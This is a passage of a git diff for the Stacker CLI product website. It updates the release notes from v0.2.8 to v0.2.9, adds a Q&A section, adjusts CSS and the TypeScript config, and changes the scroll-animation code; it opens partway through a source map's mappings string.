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"}
\ No newline at end of file
diff --git a/website/dist/styles.css b/website/dist/styles.css
index 7192f466..3d40b46a 100644
--- a/website/dist/styles.css
+++ b/website/dist/styles.css
@@ -226,6 +226,7 @@ code {
   width: 36px;
   height: 36px;
   object-fit: contain;
+  vertical-align: middle;
 }
 
 .nav__logo-text {
@@ -511,6 +512,10 @@ code {
   line-height: 1.8;
 }
 
+.hero__terminal .terminal__body {
+  min-height: 200px;
+}
+
 .terminal--compact .terminal__body {
   padding: 14px 16px;
   font-size: 0.8rem;
diff --git a/website/src/index.html b/website/src/index.html
index edd79692..ec9de490 100644
--- a/website/src/index.html
+++ b/website/src/index.html
@@ -3,8 +3,8 @@
 <head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  <title>Stacker v0.2.8 — AI Infrastructure CLI by TryDirect</title>
-  <meta name="description" content="Stacker v0.2.8 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
+  <title>Stacker v0.2.9 — AI Infrastructure CLI by TryDirect</title>
+  <meta name="description" content="Stacker v0.2.9 scans your project, deploys to cloud or bare metal, manages remote service secrets, cloud firewalls, agents, and app pipes — all from your terminal.">
   <meta name="theme-color" content="#7e57c2">
   <link rel="icon" type="image/png" href="assets/stacker-logo.png">
   <link rel="stylesheet" href="styles.css">
@@ -20,7 +20,7 @@
   <nav class="nav" id="nav">
     <div class="nav__inner">
       <a href="#" class="nav__logo">
-        <img src="assets/stacker-logo.png" alt="Stacker" class="nav__logo-img">
+        <img src="assets/stacker-logomark.png" alt="Stacker" class="nav__logo-img">
         <span class="nav__logo-text">stacker</span>
       </a>
       <div class="nav__links" id="navLinks">
@@ -52,7 +52,7 @@
       <div class="hero__content">
         <div class="hero__badge" data-animate="fade-up">
           <span class="hero__badge-dot"></span>
-          New Release v0.2.8 &middot; AI-Powered &middot; Cloud + Bare Metal
+          New Release v0.2.9 &middot; AI-Powered &middot; Cloud + Bare Metal
         </div>
         <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           Ship your stack from code to server<br>
@@ -74,20 +74,20 @@ <h1 class="hero__title" data-animate="fade-up" data-delay="100">
           </a>
         </div>
         <div class="hero__release" data-animate="fade-up" data-delay="350">
-          <div class="hero__release-version">v0.2.8</div>
+          <div class="hero__release-version">v0.2.9</div>
           <p class="hero__release-text">
-            Latest release includes <strong>remote service secrets</strong>, <strong>cloud firewalls</strong>,
-            <strong>IP persistence</strong>, <strong>MCP secret tools</strong>, and hardened agent operations.
+            Latest release includes <strong>AI config setup CLI</strong>, <strong>OAuth device auth</strong>,
+            <strong>.env bootstrapping</strong>, <strong>Hetzner location fixes</strong>, and hardened agent health &amp; logs.
           </p>
           <div class="hero__release-chips">
-            <span class="hero__release-chip">Pipe automation</span>
-            <span class="hero__release-chip">Agent ops</span>
-            <span class="hero__release-chip">Kata isolation</span>
-            <span class="hero__release-chip">Marketplace flows</span>
-            <span class="hero__release-chip">Service secrets</span>
-            <span class="hero__release-chip">Cloud firewall</span>
-            <span class="hero__release-chip">IP retention</span>
-            <span class="hero__release-chip">MCP tools</span>
+            <span class="hero__release-chip">AI setup CLI</span>
+            <span class="hero__release-chip">Device auth</span>
+            <span class="hero__release-chip">.env bootstrap</span>
+            <span class="hero__release-chip">Preflight checks</span>
+            <span class="hero__release-chip">npm networking</span>
+            <span class="hero__release-chip">Agent health</span>
+            <span class="hero__release-chip">Config promote</span>
+            <span class="hero__release-chip">Hetzner fixes</span>
           </div>
         </div>
         <div class="hero__terminal" data-animate="fade-up" data-delay="400">
@@ -203,49 +203,69 @@ <h3 class="feature-card__title">SSH Key Management</h3>
     <div class="container">
       <div class="section__header" data-animate="fade-up">
         <span class="section__label">Latest Release</span>
-        <h2 class="section__title">Stacker v0.2.8<br><span class="gradient-text">brings safer operator workflows.</span></h2>
-        <p class="section__desc">The newest release improves remote service secrets, cloud firewall operations, paused install recovery, and MCP coverage for AI-driven infrastructure work.</p>
+        <h2 class="section__title">Stacker v0.2.9<br><span class="gradient-text">brings smarter onboarding &amp; deploy reliability.</span></h2>
+        <p class="section__desc">The newest release adds AI config setup from the CLI, OAuth device auth, .env bootstrapping on deploy, improved Hetzner support, and hardened agent health and log workflows.</p>
       </div>
       <div class="release__grid">
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Secrets</span>
-          <h3 class="release-card__title">Remote service targets</h3>
-          <p class="release-card__desc">Store Vault-backed secrets for deployable service/app targets from stacker.yml and supported Compose services, with metadata-only reads.</p>
+          <span class="release-card__eyebrow">AI Setup</span>
+          <h3 class="release-card__title">stacker config setup ai</h3>
+          <p class="release-card__desc">Configure your AI provider, endpoint, model, and tasks directly from the CLI — Ollama-friendly with <code>--provider</code>, <code>--endpoint</code>, and <code>--model</code> flags.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
-          <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Cloud firewall controls</h3>
-          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent.</p>
+          <span class="release-card__eyebrow">Auth</span>
+          <h3 class="release-card__title">OAuth device authorization</h3>
+          <p class="release-card__desc">Browser-free device auth flow with default auth and API URLs stored in <code>~/.config/stacker/config.yml</code>. <code>stacker login</code> now works in headless environments.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Security</span>
-          <h3 class="release-card__title">Paused install recovery</h3>
-          <p class="release-card__desc">Cloud/server deployments now keep discovered IP addresses even when installers pause or fail, improving SSH repair and retry workflows.</p>
+          <span class="release-card__eyebrow">Deploy</span>
+          <h3 class="release-card__title">.env bootstrapping</h3>
+          <p class="release-card__desc">Cloud and server deploys automatically create missing <code>.env</code> files from adjacent <code>.env.example</code> files, with restrictive local permissions where supported.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
-          <span class="release-card__eyebrow">MCP</span>
-          <h3 class="release-card__title">Remote secret tools</h3>
-          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata while plaintext values stay in Vault.</p>
+          <span class="release-card__eyebrow">Reliability</span>
+          <h3 class="release-card__title">Preflight checks</h3>
+          <p class="release-card__desc">New preflight validation catches config-bundle issues, rejects absolute destinations, and lists file mappings before sending deploy requests to avoid silent failures.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="0">
+          <span class="release-card__eyebrow">Networking</span>
+          <h3 class="release-card__title">npm default network</h3>
+          <p class="release-card__desc">Projects using npm now automatically get a default external network injected so services can communicate without manual compose network configuration.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Agent</span>
+          <h3 class="release-card__title">Health, logs &amp; npm detection</h3>
+          <p class="release-card__desc">Agent health checks, log streaming, and npm project detection are all fixed. Separator widths are consistent. Hardened for live production environments.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="200">
+          <span class="release-card__eyebrow">Cloud</span>
+          <h3 class="release-card__title">Hetzner location fixes</h3>
+          <p class="release-card__desc">Location aliases like <code>nbg1</code> are now normalized to installer-compatible datacenter values such as <code>nbg1-dc3</code>. Default server type updated to <code>cx23</code>.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="300">
+          <span class="release-card__eyebrow">Config</span>
+          <h3 class="release-card__title">Config promote &amp; inventory</h3>
+          <p class="release-card__desc">Promote config keys across environments, diff inventories, check contracts, and use <code>--remote</code> to enrich targets with Vault-backed secret metadata without fetching values.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="0">
-          <span class="release-card__eyebrow">Automation</span>
-          <h3 class="release-card__title">Pipes</h3>
-          <p class="release-card__desc">Create, activate, trigger, replay, and inspect pipe executions to move data between apps without building glue code first.</p>
+          <span class="release-card__eyebrow">Secrets</span>
+          <h3 class="release-card__title">Remote service secrets</h3>
+          <p class="release-card__desc">Store Vault-backed secrets for deployable service and app targets from <code>stacker.yml</code> and supported Compose services, with metadata-only reads for safe inspection.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="100">
           <span class="release-card__eyebrow">Operations</span>
-          <h3 class="release-card__title">Remote agent control</h3>
-          <p class="release-card__desc">Health checks, logs, deploy-app, configure-proxy, and configure-firewall remain first-class CLI workflows for live environments.</p>
+          <h3 class="release-card__title">Cloud firewall controls</h3>
+          <p class="release-card__desc">Open, remove, and list provider firewall rules without SSH, while guest OS firewall operations remain available through the agent for fine-grained control.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="200">
-          <span class="release-card__eyebrow">Runtime</span>
-          <h3 class="release-card__title">Kata runtime isolation</h3>
-          <p class="release-card__desc">Choose <code>kata</code> for stronger container isolation while keeping <code>runc</code> as the fast default for standard workloads.</p>
+          <span class="release-card__eyebrow">MCP</span>
+          <h3 class="release-card__title">Remote secret tools</h3>
+          <p class="release-card__desc">AI clients can list remote secret targets and manage service secret metadata through the MCP server while plaintext values stay safely in Vault.</p>
         </article>
         <article class="release-card" data-animate="fade-up" data-delay="300">
           <span class="release-card__eyebrow">Distribution</span>
           <h3 class="release-card__title">Marketplace workflows</h3>
-          <p class="release-card__desc">Submit stacks for review, track approval status, and inspect reviewer feedback directly from the CLI.</p>
+          <p class="release-card__desc">Submit stacks for review with <code>stacker submit</code>, track approval status, and inspect reviewer feedback directly from the CLI with <code>stacker marketplace</code>.</p>
         </article>
       </div>
     </div>
@@ -637,6 +657,28 @@ <h2 class="section__title">Deploy anywhere.<br><span class="gradient-text">Your
     </div>
   </section>
 
+  <!-- Q&A Section -->
+  <section class="section" id="qa">
+    <div class="container">
+      <div class="section__header" data-animate="fade-up">
+        <span class="section__label">Q&amp;A</span>
+        <h2 class="section__title">Common deployment questions.<br><span class="gradient-text">Answered directly.</span></h2>
+      </div>
+      <div class="release__grid">
+        <article class="release-card" data-animate="fade-up">
+          <span class="release-card__eyebrow">Agents</span>
+          <h3 class="release-card__title">Can one Stacker project have more than one agent?</h3>
+          <p class="release-card__desc">Yes. A single project can have multiple deployments, and each deployment runs its own Status Panel agent. That means staging and production can belong to the same project while still using different agents on different servers.</p>
+        </article>
+        <article class="release-card" data-animate="fade-up" data-delay="100">
+          <span class="release-card__eyebrow">Targeting</span>
+          <h3 class="release-card__title">How do I talk to the right agent?</h3>
+          <p class="release-card__desc">Use <code>--deployment &lt;hash&gt;</code> when a project has more than one deployment. Without it, the CLI resolves the target from the local deployment lock or falls back to the most recently active deployment found from <code>stacker.yml</code>.</p>
+        </article>
+      </div>
+    </div>
+  </section>
+
   <!-- CTA Section -->
   <section class="section cta" id="cta">
     <div class="container">
@@ -720,6 +762,6 @@ <h4>Community</h4>
     </div>
   </footer>
 
-  <script src="main.js"></script>
+  <script type="module" src="main.js"></script>
 </body>
 </html>
diff --git a/website/src/main.ts b/website/src/main.ts
index abf03f29..ce6a42ef 100644
--- a/website/src/main.ts
+++ b/website/src/main.ts
@@ -244,8 +244,16 @@ class ScrollAnimator {
       { threshold: 0.1, rootMargin: '0px 0px -50px 0px' }
     );
 
+    const vh = window.innerHeight;
     document.querySelectorAll('[data-animate]').forEach((el) => {
-      this.observer.observe(el);
+      const rect = (el as HTMLElement).getBoundingClientRect();
+      if (rect.top < vh) {
+        // Element is already in the viewport — show it immediately
+        const delay = parseInt((el as HTMLElement).dataset.delay || '0', 10);
+        setTimeout(() => (el as HTMLElement).classList.add('is-visible'), delay);
+      } else {
+        this.observer.observe(el);
+      }
     });
   }
 }
diff --git a/website/src/styles.css b/website/src/styles.css
index 7192f466..3d40b46a 100644
--- a/website/src/styles.css
+++ b/website/src/styles.css
@@ -226,6 +226,7 @@ code {
   width: 36px;
   height: 36px;
   object-fit: contain;
+  vertical-align: middle;
 }
 
 .nav__logo-text {
@@ -511,6 +512,10 @@ code {
   line-height: 1.8;
 }
 
+.hero__terminal .terminal__body {
+  min-height: 200px;
+}
+
 .terminal--compact .terminal__body {
   padding: 14px 16px;
   font-size: 0.8rem;
diff --git a/website/tsconfig.json b/website/tsconfig.json
index 5b59d1ea..ee56cbc8 100644
--- a/website/tsconfig.json
+++ b/website/tsconfig.json
@@ -1,13 +1,11 @@
 {
   "compilerOptions": {
     "target": "ES2020",
-    "module": "Node16",
-    "moduleResolution": "node16",
+    "module": "ES2020",
+    "moduleResolution": "bundler",
     "strict": true,
-    "esModuleInterop": true,
     "outDir": "./dist",
     "rootDir": "./src",
-    "declaration": true,
     "sourceMap": true
   },
   "include": ["src/**/*.ts"]